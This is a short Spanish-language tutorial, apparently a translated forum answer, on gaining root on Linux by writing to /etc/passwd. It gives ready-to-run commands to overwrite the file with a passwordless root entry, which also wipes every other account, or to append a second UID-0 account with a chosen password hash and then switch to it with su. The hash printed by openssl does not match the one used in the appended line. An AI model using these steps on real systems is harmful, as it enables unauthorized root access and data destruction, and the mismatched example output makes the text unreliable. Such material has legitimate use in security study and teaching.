Las contraseñas normalmente se almacenan en /etc/shadow
, que no es legible por los usuarios. Sin embargo, históricamente, se almacenaban en el archivo de lectura mundial /etc/passwd
junto con toda la información de la cuenta. Para compatibilidad con versiones anteriores, si hay un hash de contraseña en la segunda columna de /etc/passwd
, tiene prioridad sobre el de /etc/shadow
.
Históricamente, un segundo campo vacío en /etc/passwd
significa que la cuenta no tiene contraseña, es decir, cualquiera puede iniciar sesión sin una contraseña (utilizada para cuentas de invitados). Esto a veces está deshabilitado. Si las cuentas sin contraseña están deshabilitadas, puede poner el hash de una contraseña de su elección. Puedes usar el crypt
función para generar hashes de contraseña, por ejemplo perl -le 'print crypt("foo", "aa")'
para establecer la contraseña en foo
.
Es posible obtener acceso de root incluso si solo puede agregar a /etc/passwd
y no sobrescribir el contenido. Esto se debe a que es posible tener varias entradas para el mismo usuario, siempre que tengan nombres diferentes:los usuarios se identifican por su ID, no por su nombre, y la característica que define la cuenta raíz no es su nombre sino el hecho de que tiene ID de usuario 0. Por lo tanto, puede crear una cuenta raíz alternativa agregando una línea que declara una cuenta con otro nombre, una contraseña de su elección y una ID de usuario 0.
Solo escribe:
echo root::0:0:root:/root:/bin/bash > /etc/passwd
su
y eres root.
(Eliminando x
significa que root ya no requiere contraseña, puede usar sed
comando en lugar de echo
sin embargo, esto es suficiente para obtener root shell)
Puedes usar este método no destructivo:
# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE
# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd
# to switch to a root2
su root2
Password: mrcake